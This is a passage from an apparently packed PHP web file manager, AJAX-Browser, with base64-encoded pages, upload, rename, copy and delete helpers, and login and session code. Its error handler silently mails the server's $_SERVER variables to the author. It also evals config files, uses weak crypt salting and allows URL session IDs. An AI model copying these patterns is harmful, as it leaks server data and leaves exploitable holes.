nOjBweDttYXJnaW46MHB4OyI+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRlc3QiIHZhbHVlPSI8P3BocCBlY2hvICRkZXN0Oz8+Ij4KCQkJPGxhYmVsPlVwbG9hZCAoWW91ciBmaWxlIHRvIFdlYik8L2xhYmVsPjxici8+CgkJCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJhRmlsZSIgc3R5bGU9IiIgb25jaGFuZ2U9InRoaXMucGFyZW50Tm9kZS5wYXJlbnROb2RlLmZpcnN0Q2hpbGQuc3R5bGUuZGlzcGxheT0nYmxvY2snO3RoaXMucGFyZW50Tm9kZS5zdHlsZS5kaXNwbGF5PSdub25lJzt0aGlzLnBhcmVudE5vZGUuc3VibWl0KCk7Ij4KCQk8L2Zvcm0+Cgk8L2JvZHk+CjwvaHRtbD4=',
  './AJAX-B/scripts/PHPTools.php' => '<?php
/**-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

/* PHP prototype */
if (!function_exists('fnmatch'))
{
	function fnmatch($pattern, $string)
	{
		return @preg_match('/^' . strtr(addcslashes($pattern, '/\\.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
	}
}
if (!function_exists('file_put_contents'))
{
	function file_put_contents($n, $d, $flag = false)
	{
		$mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
		if ($f = fopen($n, $mode))
		{
			if (is_array($d)) $d = implode($d);
			$bytes_written = fwrite($f, $d);
			fclose($f);
			return $bytes_written;
		}
	}
}
function FileTypeApprover($Name)
{
	$UPLOAD = $_SESSION['AJAX-B']['droits']['UPLOAD'];
	if ((ArrayMatch($_SESSION['AJAX-B']['always_mask'],$Name ) && $UPLOAD=='OnlyAlways') || (!ArrayMatch($_SESSION['AJAX-B']['restrict_mask'], $Name) && $UPLOAD=='ExceptRestrict') ||  $UPLOAD=='ALL')
		return true;
	return false;
}
function UTF8basename($str)
{// for UTF-8 compatible
	$name='';
	$str = explode('/', $str);
	while ($name=='') $name=array_pop($str);
	return $name;
}
function UTF8dirname($str)
{// for UTF-8 compatible
	$name='';
	$str = explode('/', $str);
	while ($name=='') $name=array_pop($str);
	return implode('/', $str);
}
/* PHP prototype */

$no64 = array('+','/','=');
$yes64 = array('@','^','~');
function encode64($str)
{	global $no64, $yes64; return str_replace($no64,$yes64,base64_encode($str));}
function decode64($str)
{	global $no64, $yes64; return base64_decode(str_replace($yes64,$no64,$str));}
function SizeConvert ($Size)
{
	if ($Size<0) return 'To Big!';
	$UnitArray = array('Oct','Ko','Mo','Go','To');
	$Unit=0;
	while ($Size/pow(1024, $Unit)>1024) $Unit++;
	return round($Size/pow(1024, $Unit), $Unit).' '.$UnitArray[$Unit];
}
function microtime_float()
{
	list($usec, $sec) = explode(' ', microtime());
	return (float)$usec + (float)$sec;
}
function FileIco ($item)			// choisi l'icone le mieu adapté parmis ceux present
{
// 	global INSTAL_DIR;
	$ext=strtolower(pathinfo($item, PATHINFO_EXTENSION));
	if (is_dir($item)) return 'folder.';
	elseif (is_file(INSTAL_DIR.'icones/type-'.$ext.'.png'))
		return $ext;
	elseif (substr($ext,-1,1)=='~')
		return 'recycled';
	return 'unknown';
}
function AddWatermark($src, $dir, $wmk)
{
	$FileDest = $dir.'Watermark-'.$_SESSION['AJAX-B']['login'].'@'.md5_file($src).md5_file($wmk).'.jpg';
	if (file_exists($FileDest))
		return $FileDest;
	elseif (!is_dir(UTF8dirname($FileDest)))
		mkdir(UTF8dirname($FileDest), 0777, true);
	if(($src_size = getimagesize($src))!=false && ($wmk_size = getimagesize($wmk))!=false)
	{
		if (function_exists('imagecopyresampled'))
		{
			$wmk_img = @imagecreatefrompng($wmk);
			imagealphablending ( $wmk_img , true );
			imagesavealpha ( $wmk_img , true );

			switch ($src_size[2])
			{
				case 1:
					$dest_img = @imagecreatefromgif($src);
					break;
				case 2:
					$dest_img = @imagecreatefromjpeg($src);
					break;
				case 3:
					$dest_img = @imagecreatefrompng($src);
					break;
			}
			imagealphablending ( $dest_img , true );
			imagesavealpha ( $dest_img , true );
			$coef = (imagesx($dest_img)/imagesx($wmk_img) > imagesy($dest_img)/imagesy($wmk_img)) ? imagesy($dest_img)/imagesy($wmk_img) : imagesx($dest_img)/imagesx($wmk_img);
			$src_w = imagesx($wmk_img);
			$src_h = imagesy($wmk_img);
			$dst_w = (int)($coef*$src_w);
			$dst_h = (int)($coef*$src_h);
			$dst_x = (imagesx($dest_img)-$dst_w)/2;
			$dst_y = (imagesy($dest_img)-$dst_h)/2;
			imagecopyresampled($dest_img, $wmk_img, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h, $src_w, $src_h);

// 			imagepng($dest_img, $FileDest); // Envoie une image PNG de la RAM vers un fichier
			imagejpeg($dest_img, $FileDest); // Envoie une image JPEG de la RAM vers un fichier
			imagedestroy($dest_img);// Vide la memoire RAM allouee a l'image $dest_img
			imagedestroy($wmk_img);// Vide la memoire RAM allouee a l'image $dst_img

			if (!is_file($FileDest))
				return FileIco ($src);
			else return $FileDest;
		}
		else return $src;
	}
	else return FileIco ($src);
}
function CreatMini( $File, $dir, $Max=100, $Force=false)
{
// 	global INSTAL_DIR;
	$FileDest = $dir.$Max.'@'.md5_file($File).'.png';
	if ($Force == true || !file_exists($FileDest))
	{
		if(($size = getimagesize($File))!=false)
		{
			if ($size[0]>$size[1]) // determine le coef de reduction de la miniature en X, elle dois faire 120px de haut maxi
				$coef = $size[0]/$Max;
			else $coef = $size[1]/$Max;
			if ($coef>1 && function_exists('imagejpeg'))
			{
				if (!is_dir(UTF8dirname($FileDest))) mkdir(UTF8dirname($FileDest), 0777, true);
				$dest_l = (int)($size[0]/$coef);
				$dest_h = (int)($size[1]/$coef);
				switch ($size[2])					// avant de travailler sur une image il faut la decompresser
				{
					case 1:
						$src_img = imagecreatefromgif($File);
						break;
					case 2:
						$src_img = imagecreatefromjpeg($File);
						break;
					case 3:
						$src_img = imagecreatefrompng($File);
						break;
				}
				$dst_img = imagecreatetruecolor($dest_l,$dest_h);	// cree le fichier image vide de reception ( en RAM )
				imagealphablending ( $dst_img , false );		// indispensable pour les image avec transparence
				imagesavealpha ( $dst_img , true );			// indispensable pour les image avec transparence
				imagecopyresampled($dst_img, $src_img, 0, 0, 0, 0, $dest_l, $dest_h, $size[0], $size[1]);// creation de la miniature ( en RAM )
				imagepng($dst_img, $FileDest); // Envoie une image JPEG de la RAM vers un fichier
				imagedestroy($dst_img);// Vide la memoire RAM allouee a l'image $dst_img
				imagedestroy($src_img);// Vide la memoire RAM allouee a l'image $src_img
				if (!is_file($FileDest))
					return FileIco ($File);
				else return $FileDest;
			}
			else return $File;
		}
		else return FileIco ($File);
	}
	else return $FileDest;
}
function addUser ($exemple, $arrayDest, $name, $code='',$racine='./')
{
	$arrayDest[$name]=$exemple;
	$arrayDest[$name]['code']=crypt($code,$name);
	$arrayDest[$name]['def_racine']=$racine;
	return $arrayDest;
}
function SupItem($Item)
{
	@mkdir ('./.ajaxb-trash/');
	if (is_dir($Item))
	{
		if (is_array($SubFile = DirSort ($Item)))
			foreach ($SubFile as $File)
				SupItem($Item."/".$File);
		return (!rmdir($Item)) ? rename($Item, './.ajaxb-trash/'.UTF8basename($Item).'@'.date ("d-m-y H.i.s",time())) : true;
	}
	else return (!unlink($Item)) ? rename($Item, './.ajaxb-trash/'.UTF8basename($Item).'@'.date ("d-m-y H.i.s",time())) : true;
}
function CopyItems($Source, $Dest)
{
	if (is_dir($Source))
	{
		mkdir($Dest.UTF8basename($Source), 0777, true);
		if (is_array($SubFile = DirSort ($Source)))
			foreach ($SubFile as $File)
				CopyItems($Source.$File, $Dest.UTF8basename($Source).'/');
	}
	else copy($Source, $Dest.UTF8basename($Source));
}
function Move ($file, $filedest)
{
	if (rename($file, $filedest))
		return true;
	return false;
}
function pasteItems ($dest)
{
	$returnLst = array($dest);
	foreach ($_SESSION['AJAX-B']['SelectLst'] as $file64)
	{
		if ($_SESSION['AJAX-B']['paste_mode']=='copy' && $_SESSION['AJAX-B']['droits']['COPY'])				// COPY => PASTE
		{
			CopyItems(decode64($file64), decode64($dest));
		}
		elseif ($_SESSION['AJAX-B']['paste_mode']=='move' && $_SESSION['AJAX-B']['droits']['MOVE'])			// CUT => PASTE
		{
			if (Move(decode64($file64), decode64($dest).UTF8basename(decode64($file64))) && !in_array(encode64(UTF8dirname(decode64($file64)).'/'), $returnLst))
				$returnLst[] = encode64(UTF8dirname(decode64($file64)).'/');
		}
	}
	if ($_SESSION['AJAX-B']['spy']['action'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/CpMvPaste.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time()).'] '.$_SESSION['AJAX-B']['paste_mode'].' > '.implode(', ', array_map("decode64", $_SESSION['AJAX-B']['SelectLst']))."\n", FILE_APPEND);
	if ($_SESSION['AJAX-B']['paste_mode']=='move')
	{
		$_SESSION['AJAX-B']['paste_mode'] = '';
		$_SESSION['AJAX-B']['SelectLst'] = array();
	}
	return implode(',', $returnLst);
}
function MultiRen ($files, $mask)
{
	$returnLst = array();
	if (strpos($mask, '#')===false && strpos($mask, '*')===false && count($files)>1)
		$mask = '# - '.$mask;
	foreach ($files as $num => $file)
	{
		$ext = pathinfo($file, PATHINFO_EXTENSION) ? ".".pathinfo($file, PATHINFO_EXTENSION) : "";
		$ArrayReplace = array(UTF8basename($file, $ext), UTF8basename(UTF8dirname($file)), str_pad($num+1, strlen(strval(count($files))), "0", STR_PAD_LEFT));
		$TmpStr = str_replace (array("*","~","#"), $ArrayReplace, $mask);
		$DestFile = UTF8dirname ($file)."/".((!strcmp(strrchr($mask,"!"), "!")) ? substr($TmpStr, 0, -1) : ($TmpStr.(pathinfo(UTF8dirname($file).$TmpStr, PATHINFO_EXTENSION) ? "" : $ext)));
		if (FileTypeApprover($DestFile))
		{
			if (rename($file, $DestFile))
			{
				$spy .= "\t".$file.' > '.UTF8basename($DestFile)."\n";
				if (!in_array(encode64(UTF8dirname($file).'/'), $returnLst))
					$returnLst[] = encode64(UTF8dirname($file).'/');
			}
		}
	}
	if ($_SESSION['AJAX-B']['spy']['action'])
		file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/rename.spy', $_SESSION['AJAX-B']['login'].' ['.date ("d/m/y H:i:s",time()).'] > multirename > '.$mask."\n".$spy, FILE_APPEND);
	return implode(',', $returnLst);
}
function UnRealPath ($dest)
{
	$Ahere = explode ('/', getcwd());
	$Adest = explode ('/', realpath($dest));
	$result = '.'; // le chemin retouné dois forcement commancé par ./   c'est le but!
	while (implode ('/', $Adest) != implode ('/', $Ahere))
	{
		if (count($Ahere)>count($Adest))
		{
			array_pop($Ahere);
			$result .= '/..';
		}
		else
			array_pop($Adest);
	}
	return $result.str_replace(implode ('/', $Adest), '', realpath($dest)).(@is_file(realpath($dest))?'':'/');
}
function ErrorReported ($file, $line)
{
	$arrayFile = file($file);
	$str = $file."\n";
	if ($line-1>0) $str .= str_pad(($line-2).".", 6).$arrayFile [$line-2];
	if ($line>0) $str .= str_pad(($line-1).".", 6).$arrayFile [$line-1];
	$str .= str_pad(($line).".", 6).$arrayFile [$line];
	if ($line<count($arrayFile)) $str .= str_pad(($line+1).".", 6).$arrayFile [$line+1];
	if ($line+1<count($arrayFile)) $str .= str_pad(($line+2).".", 6).$arrayFile [$line+2];
	$arrayFile [$line]."\n".$arrayFile [$line]."\n".$arrayFile [$line]."\n";
	@mail("alban.lopez+error.reported@gmail.com", "Error Reported in : ".VERSION, $str."\n\n".$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])."/AJAX-Browser.php\n".var_export($_SERVER,true)."\n\n");
	return $file."\n".'Problem on line '.$line."\n Please report it ! (<a href='http://ajaxbrowser.free.fr/Ajax-B_Pub/fr/contact.php'>ajaxbrowser.free.fr</a>)";
}
?>
',
  './AJAX-B/scripts/Proprietes.php' => 'PHRhYmxlPgoJPGNvbGdyb3VwPjxjb2wgd2lkdGg9JzEnPjxjb2wgd2lkdGg9JzEnPjwvY29sZ3JvdXA+Cgk8dGJvZHk+CgkJPHRyPgo8P3BocApmdW5jdGlvbiBjaG1vZG51bSgkbW9kZSkKewoJJG1vZGUgPSBzdHJfcGFkKCRtb2RlLDksJy0nKTsgLy8gY29tYmxlIGxlcyBtYW5xdWVzLgoJJG1vZGUgPSBzdHJ0cigkbW9kZSwgYXJyYXkoJy0nPT4nMCcsJ3InPT4nNCcsJ3cnPT4nMicsJ3gnPT4nMScpKTsKCSRuZXdtb2RlID0gJyc7CglyZXR1cm4gJzAnKyRtb2RlWzBdKyRtb2RlWzFdKyRtb2RlWzJdLiRtb2RlWzNdKyRtb2RlWzRdKyRtb2RlWzVdLiRtb2RlWzZdKyRtb2RlWzddKyRtb2RlWzhdOwp9CmZ1bmN0aW9uIGNobW9kb3duZ3JwKCRwYXRoLCAkdWlkLCAkZ2lkLCAkbW9kZSkKeyAvLyBBVFRFTlRJT04gQ0VDSSBFU1QgU09VTUlTIEFVWCBEJ0FDQ0VTIEFDVFVFTCBERSBDSEFRVUUgRUxFTUVOVAoJaWYgKGlzX2RpcigkcGF0aCkpCgl7CgkJJGRpciA9IG9wZW5kaXIoJHBhdGgpOwoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRpcikpCgkJCWlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgY2htb2Rvd25ncnAoJHBhdGguIi8iLiRmaWxlLCAkdWlkLCAkZ2lkLCAkbW9kZSk7Cgl9CglAY2hvd24oJHBhdGgsICR1aWQpOwoJQGNoZ3JwKCRwYXRoLCAkZ2lkKTsKCUBjaG1vZCgkcGF0aCwgJG1vZGUpOyAvLyBjaG1vZG51bSgkbW9kZSkpOwp9CgoJJGxzdCA9IGV4cGxvZGUoJywnLCRpbmZvcyk7CglpZiAoY291bnQoJGxzdCk9PTEpCgl7CgkJJGl0ZW0gPSBkZWNvZGU2NCgkbHN0WzBdKSA7CgkJJGFycmF5aW5mbyA9IEluZm9zQnlVUkwgKCRpdGVtKTsKCQlpbmNsdWRlIChJTlNUQUxfRElSLidzY3JpcHRzL0Vhc3lBcmNoaXZlLmNsYXNzLnBocCcpOwoJCSRhcmNoaXZlID0gbmV3IGFyY2hpdmU7CgkJaWYgKHN0cnBvcygkYXJyYXlpbmZvWyd0eXBlJ10sICdpbWFnZScpICYmIEBleGlmX2ltYWdldHlwZSgkaXRlbSkpCgkJez8+CgkJCTx0ZD4KCQkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJGxzdFswXTs/PiI+PGltZyBjbGFzcz0iY2FkcmUiIHNyYz0iPD9waHAgZWNobyBDcmVhdE1pbmkoJGl0ZW0sJF9TRVNTSU9OWydBSkFYLUInXVsnbWluaV9kaXInXSwkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX3NpemUnXSk7Pz4iPjwvYT4KCQkJPC90ZD4KCQk8P3BocAoJCX0KCQllbHNlaWYgKGlzX2FycmF5KCRjb250ZW50ID0gJGFyY2hpdmUtPmluZm9zKCRpdGVtKSkpCgkJez8+CgkJCTx0ZD4KCQkJCTxwcmU+PD9waHAgdmFyX2V4cG9ydCgkY29udGVudCk7Pz48L3ByZT4KCQkJPC90ZD4KCQk8P3BocAoJCX0KCQllbHNlCgkJez8+CgkJCTx0ZD4KCQkJCTxpbWcgY2xhc3M9ImNhZHJlIiBzcmM9Ijw/cGhwIGVjaG8gSU5TVEFMX0RJUjsgPz5pY29uZXMvdHlwZS08P3BocCBlY2hvIEZpbGVJY28oJGl0ZW0pOz8+LnBuZyI+CgkJCTwvdGQ+CgkJPD9waHAKCQl9CgkJPz4KCQkJPHRkPgoJCQkJPHRhYmxlIHdpZHRoPSczMDBweCcgb25jbGljaz0iX3Byb3BlcnRpZXMoKTsiPgoJCQkJCTx0Ym9keT4KCQkJCQkJPHRyPjx0ZD5VUkwgOiA8L3RkPjx0ZD48P3BocCBlY2hvICc8YSBocmVmPSInLmVyZWdfcmVwbGFjZSgnXicucmVhbHBhdGgoJy4vJyksJy4nLHJlYWxwYXRoKCRpdGVtKSkuJyI+Jy4kaXRlbS4nPC9hPic7Pz48L3RkPjwvdHI+CgkJCQkJCTx0cj48dGQ+Q2hlbWluIDogPC90ZD48dGQ+PD9waHAgZWNobyByZWFscGF0aCgkaXRlbSk7Pz48L2E+PC90ZD48L3RyPgoJCQkJCQk8dHI+PHRkPkVuY29kaW5nTmFtZSA6IDwvdGQ+PHRkPjw/cGhwIGVjaG8gJGxzdFswXTs/PjwvdGQ+PC90cj4KCQkJCQkJPHRyPjx0ZCBjb2xzcGFuPTI+PGhyLz48L3RkPjwvdHI+CgkJCQkJCTx0cj48dGQ+VGFpbGxlOjwvdGQ+PHRkPjw/cGhwIGVjaG8gU2l6ZUNvbnZlcnQoJGFycmF5aW5mb1snc2l6ZSddKS4nICgnLiRhcnJheWluZm9bJ3NpemUnXS4nKSc7Pz48L3RkPjwvdHI+CgkJCQkJCTx0cj48dGQ+VHlwZTo8L3RkPjx0ZD48P3BocCBlY2hvICRhcnJheWluZm9bJ3R5cGUnXTs/PjwvdGQ+PC90cj4KCQkJCQkJPD9waHAgaWYgKGlzX2RpcigkaXRlbSkpIHs/Pjx0cj48dGQ+PC90ZD48dGQ+PD9waHAgZWNobyAkYXJyYXlpbmZvWydjb250ZW50MCddLicgZG9zc2llcihzKSwgJy4kYXJyYXlpbmZvWydjb250ZW50MSddLicgZmljaGllcihzKSc7Pz48L3RkPjwvdHI+PD9waHAgfT8+CgkJCQkJCTx0cj48dGQ+RGVybmnDqHJlIG1vZGlmaWNhdGlvbjo8L3RkPjx0ZD48P3BocCBlY2hvICRhcnJheWluZm9bJ2ZpbGVtdGltZSddOz8+PC90ZD48L3RyPgoJCQkJCQk8dHI+PHRkIGNvbHNwYW49Mj48aHIvPjwvdGQ+PC90cj4KCQkJCQkJPHRyPjx0ZD5Ecm9pdCBkJ2FjY8OpcyA6PC90ZD48dGQ+PD9waHAgZWNobyAkYXJyYXlpbmZvWydwZXJtJ107Pz48L3RkPjwvdHI+CgkJCQkJCTx0cj48dGQ+VUlEIDo8L3RkPjx0ZD48P3BocCBlY2hvICRhcnJheWluZm9bJ3VpZG5hbWUnXS4nICgnLiRhcnJheWluZm9bJ3VpZCddLicpJzs/PjwvdGQ+PC90cj4KCQkJCQkJPHRyPjx0ZD5HSUQgOjwvdGQ+PHRkPjw/cGhwIGVjaG8gJGFycmF5aW5mb1snZ2lkbmFtZSddLicgKCcuJGFycmF5aW5mb1snZ2lkJ10uJyknOz8+PC90ZD48L3RyPgoJCQkJCTwvdGJvZHk+CgkJCQk8L3RhYmxlPgoJCQk8L3RkPgoJCTw/cGhwCgl9CgllbHNlaWYgKGNvdW50KCRsc3QpPjEpCgl7CgkJZm9yZWFjaCAoJGxzdCBhcyAkaXRlbSkKCQl7CgkJCWlmIChpc19kaXIoZGVjb2RlNjQoJGl0ZW0pKSkgJGxzdF9kaXJbXT1kZWNvZGU2NCgkaXRlbSk7CgkJCWVsc2UgJGxzdF9maWxlW109ZGVjb2RlNjQoJGl0ZW0pOwoJCX0/PgoJCQk8dGQ+CgkJCQk8dGFibGUgd2lkdGg9JzMwMHB4Jz4KCQkJCQk8dGJvZHk+CgkJCQkJCTx0cj48dGQ+U2VsZWN0aW9uIDo8L3RkPjx0ZD48P3BocCBlY2hvIGNvdW50KCRsc3QpLicgZWxlbWVudChzKSw8YnIvPicuY291bnQoJGxzdF9maWxlKS4nIGZpY2hpZXIocykgZXQgJy5jb3VudCgkbHN0X2RpcikuJyBkb3NzaWVyKHMpJzs/PjwvdGQ+PC90cj4KCQkJCQkJPHRyPjx0ZCBjb2xzcGFuPTI+PGhyLz48L3RkPjwvdHI+CgkJPD9waHAKCQkkbkRpciA9IDA7CgkJJG5GaWxlID0gMDsKCQkkc0FsbCA9IDA7CgkJZm9yZWFjaCAoJGxzdCBhcyAkaXRlbSkKCQl7CgkJCSRuRGlyKz1Db3VudERpcihkZWNvZGU2NCgkaXRlbSkpOwoJCQkkbkZpbGUrPUNvdW50RmlsZShkZWNvZGU2NCgkaXRlbSkpOwoJCQkkc0FsbCs9U2l6ZUFsbChkZWNvZGU2NCgkaXRlbSkpOwoJCX0/PgoJCQkJCQk8dHI+PHRkPlRhaWxsZSB0b3RhbGUgOiA8L3RkPjx0ZD48P3BocCBlY2hvIFNpemVDb252ZXJ0KCRzQWxsKS4nICgnLiRzQWxsLicpPGJyLz4nLiRuRGlyLicgc291cyBkb3NzaWVyKHMpLCAnLiRuRmlsZS4nIGZpY2hpZXIocyknOz8+PC90ZD48L3RyPgoJCQkJCQk8dHI+PHRkIGNvbHNwYW49Mj48aHIvPjwvdGQ+PC90cj4KCjw/cGhwCgkJZm9yZWFjaCAoJGxzdCBhcyAkaXRlbSkKCQl7Pz4KPHRyPjx0ZCBjb2xzcGFuPTI+cmVsYXRpdiBVUkwgKDxJTUcgb25jbGljaz0iUG9wQm94KCdtb2RlPXJlcXVlc3QmaW5mb3M9PD9waHAgZWNobyAkaXRlbTs/PicsJ09wZW5Cb3gocmVxdWVzdC5yZXNwb25zZVRleHQpOycpOyIgc3JjPSI8P3BocCBlY2hvIElOU1RBTF9ESVI7ID8+aWNvbmVzL0luZm9zLnBuZyIgdGl0bGU9IlByb3ByaWV0ZSBkZSBjZXQgZWxlbWVudC4iLz4pIDo8P3BocCBlY2hvICc8YSBocmVmPSInLmVyZWdfcmVwbGFjZSgnXicucmVhbHBhdGgoJy4vJyksJy4nLHJlYWxwYXRoKGRlY29kZTY0KCRpdGVtKSkpLiciPicuZGVjb2RlNjQoJGl0ZW0pOz8+PC90ZD48L3RyPgo8P3BocAl9Pz4KCQkJCQk8L3Rib2R5PgoJCQkJPC90YWJsZT4KCQkJPC90ZD4KPD9waHAJfT8+CgkJPC90cj4KCTwvdGJvZHk+CjwvdGFibGU+Cg==',
  './AJAX-B/scripts/SessionTools.php' => '<?php
/**-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +--------------------------------------------------*/

$file_globalconf = INSTAL_DIR.'ajaxb.conf';
$file_accounts = INSTAL_DIR.'accounts.conf';
$file_blacklist = INSTAL_DIR.'blacklist.conf';

$account_exemple = array (
	'code' => '',
	'usr_email' => '',
	'language_file' => 'Language en.php',
	'def_mode' => 'arborescence',		// ['arborescence', 'gallerie']
	'def_racine' => './',
	'mini_size' => 100,					// [75, 100, 200, 300, 400]
	'last' => '',
	'IP_count' => array ( ),
	'droits' => array (
		'.VIEW' => FALSE, 				// view hidden files
		'..VIEW' => FALSE, 				// browse parent directory
		'REN' => FALSE, 				// rename item(s)
		'NEW' => FALSE, 				// make new folder or file
		'COPY' => FALSE, 				// copy item(s)
		'MOVE' => FALSE, 				// move item(s)
		'DEL' => FALSE, 				// remove definitively item(s)
		'CP_VIEW' => FALSE, 			// view item with CodePress
		'CP_EDIT' => FALSE, 			// edit item with CodePress
		'DOWNLOAD' => FALSE, 			// download item(s)
		'UPLOAD' => 'NO', 				// upload item(s) ['NO', 'OnlyAlways', 'ExceptRestrict', 'ALL']
		'UNCOMPRESS' => FALSE, 		// Uncompress file
		'GLOBAL_SETTING' => FALSE,	// setup global value
		'GLOBAL_ACCOUNTS' => FALSE	// setup one's account
		)
	);

$ajaxb_conf_exemple = array (
	'admin_email' => 'alban.lopez@gmail.com',
	'ajaxb_miror' => 'ajaxbrowser.free.fr',
	'restrict_mask' => array ('*.php','*.php5','*.asp','*.bin','*.exe'),
	'always_mask' => array ('*.html','*.avi','*.png','*.jpg','*.txt'),
	'codepress_mask' => array ('*.html','*.txt','*.php','*.php5','*.asp','*.*~'),
	'mini_dir' => './Mini/',
	'mini_intervale' => 250,
	'spy_dir' => './Spy/',
	'spy' => array (
		'ip' => false,
		'log' => false,
		'action' => false,
		'browse' => false
		),
	);

		$spath=session_save_path();
		if (strpos ($spath, ";") !== FALSE)
			$spath = substr ($spath, strpos ($spath, ";")+1);
		if (!is_dir($spath) && !empty($spath))
		{
			$ErrrorMsg .= ErrorReported (__FILE__, __LINE__ - 2);
			if (!is_dir(mkdir(str_replace(realpath('./'), '.', $spath), 0700, true)))
			{
				$ErrrorMsg .= ErrorReported (__FILE__, __LINE__ - 2);
				echo $ABS[100].' ("'.session_save_path().'").<br>';
			}
		}
		ini_set('session.use_cookies', '1');
		ini_set('session.use_only_cookies', '0');
		session_cache_limiter ('nocache');
		session_cache_expire (60);			// Configure le délai d'expiration à 30 minutes
		session_start();				// On démarre la session avant toute autre chose

	if (isset($stop))
	{
		$_SESSION['AJAX-B'] = array(0);		// on vide bien la variable de session
		unset($_SESSION['AJAX-B']);		// et on detruit le contenue de session ki nous conserne
		if (empty($_SESSION))			// si aprés ca la session est vide on peut en deduire que personne d'autre ne l'utilise
		{
			setcookie(session_name(), '', time()-100000, '/');	// on force le cookie de session a etre périmé
			session_destroy();					// on detruit la session sur le serveur
		}
	}

	if (!file_exists($file_globalconf)) file_put_contents($file_globalconf, var_export($ajaxb_conf_exemple, true));
	if (!file_exists($file_blacklist)) file_put_contents($file_blacklist, 'array()');
	if ((!file_exists($file_accounts) || filesize($file_accounts)<100) && empty($_SESSION['AJAX-B']))
	{
		if ($code1==$code2 && !empty($login))
		{
			$account_exemple['droits']['GLOBAL_SETTING']=true;
			$account_exemple['droits']['GLOBAL_ACCOUNTS']=true;
			$account_exemple["IP_count"][$_SERVER['REMOTE_ADDR']]++;
			file_put_contents($file_accounts, var_export(addUser($account_exemple, is_file($file_accounts)?eval('return '.file_get_contents($file_accounts).';'):array(), $login, $code1), true));
		}
		else
		{
?>
<html>
	<head>
		<meta content="text/html; charset=UTF-8" http-equiv="content-type">
		<title><?php echo $ABS[1];?></title>
	</head>
	<style type="text/css">
		html, body, table { position: absolute;width:100%;height:100%;padding:0px;margin:0px;overflow:none;}
		body {font-size:10px;}
		input, span {width:120px;}
		td, tr {vertical-align:middle;text-align:center;}
		div {position:relative;margin-left: auto;margin-right:auto;background-color:rgb(220,230,255);padding:2px 10px;width:250px;-moz-border-radius:8px;font-weight:bold;border:1px solid gray;}
		h1 {text-align:center;color:red;}
		.red {color:red;}
		.logo {position:absolute;top:-40px;left:-40px;}
	</style>
	<body onLoad="document.getElementById('JSError').style.display='none';document.getElementById('login').focus()">
		<form method="post" action="?">
		<h1 id="JSError"><?php echo $ABS[38];?></h1>
		<table >
		<tr>
			<td>
				<div><img class="logo" src="http://ajaxbrowser.free.fr/logo.png">
					<p><?php echo $ABS[101];?></p>
					<p><?php echo $ABS[102];?></p>
					<p><span><?php echo $ABS[5];?> : </span><input type="text" id="login" name="login"></p>
					<p><span><?php echo $ABS[6];?> : </span><input type="password" name="code1"></p>
					<p><span><?php echo $ABS[6];?> : </span><input type="password" name="code2"></p>
					<p><input type="submit" value="Make Account"></p>
					<a href="http://ajaxbrowser.free.fr/"><?php echo $ABS[301];?></a>
				</div>
			</td>
		<tr>
		</table>
	</form>
	</body>
</html>
<?php
			exit ();
		}
	}
	elseif (empty($_SESSION['AJAX-B']))
	{
		$GLOBALS['AJAX-Var']['global'] = eval('return '.file_get_contents($file_globalconf).';');
		$GLOBALS['AJAX-Var']['accounts'] = eval('return '.file_get_contents($file_accounts).';');
		$GLOBALS['AJAX-Var']['blacklist'] = eval('return '.file_get_contents($file_blacklist).';');
		
		if (($a=$GLOBALS['AJAX-Var']['blacklist'][$_SERVER['REMOTE_ADDR']])>10)
		{
			echo ($a+1).$ABS[35];
			$GLOBALS['AJAX-Var']['blacklist'][$_SERVER['REMOTE_ADDR']]++;
			file_put_contents($file_blacklist, var_export($GLOBALS['AJAX-Var']['blacklist'], true));
			exit();
		}
		elseif (isset($login) && $GLOBALS['AJAX-Var']['accounts'][$login]["code"]==crypt($code,$login))
		{
			$GLOBALS['AJAX-Var']["accounts"][$login]["IP_count"][$_SERVER['REMOTE_ADDR']]++;
			$GLOBALS['AJAX-Var']["accounts"][$login]["last"] = date ("d/m/y H:i:s",time());

			$_SESSION['AJAX-B'] = array_merge(
				array('login' => $login),
				$GLOBALS['AJAX-Var']['global'],
				$GLOBALS['AJAX-Var']['accounts'][$login]);
			unset ($_SESSION['AJAX-B']['code']);
			file_put_contents($file_accounts, var_export($GLOBALS['AJAX-Var']['accounts'], true));
			if ($_SESSION['AJAX-B']['spy']['log'])
				file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/Log.spy', $login.($_SESSION['AJAX-B']['spy']['ip']?' > '.$_SERVER['REMOTE_ADDR']:'').' ['.date ("d/m/y H:i:s",time()).'] > '.$_SERVER['HTTP_USER_AGENT']."\n", FILE_APPEND);
		}
		else
		{
			$wrong = false;
			if (!empty($login))
			{
				if ($_SESSION['AJAX-B']['spy']['log'])
					file_put_contents ($_SESSION['AJAX-B']['spy_dir'].'/WRONG_Log.spy', $login.($GLOBALS['AJAX-Var']['global']['spy']['ip']?' > '.$_SERVER['REMOTE_ADDR']:'').' ['.date ("d/m/y H:i:s",time()).'] > '.$_SERVER['HTTP_USER_AGENT']."\n", FILE_APPEND);
				$GLOBALS['AJAX-Var']['blacklist'][$_SERVER['REMOTE_ADDR']]++;
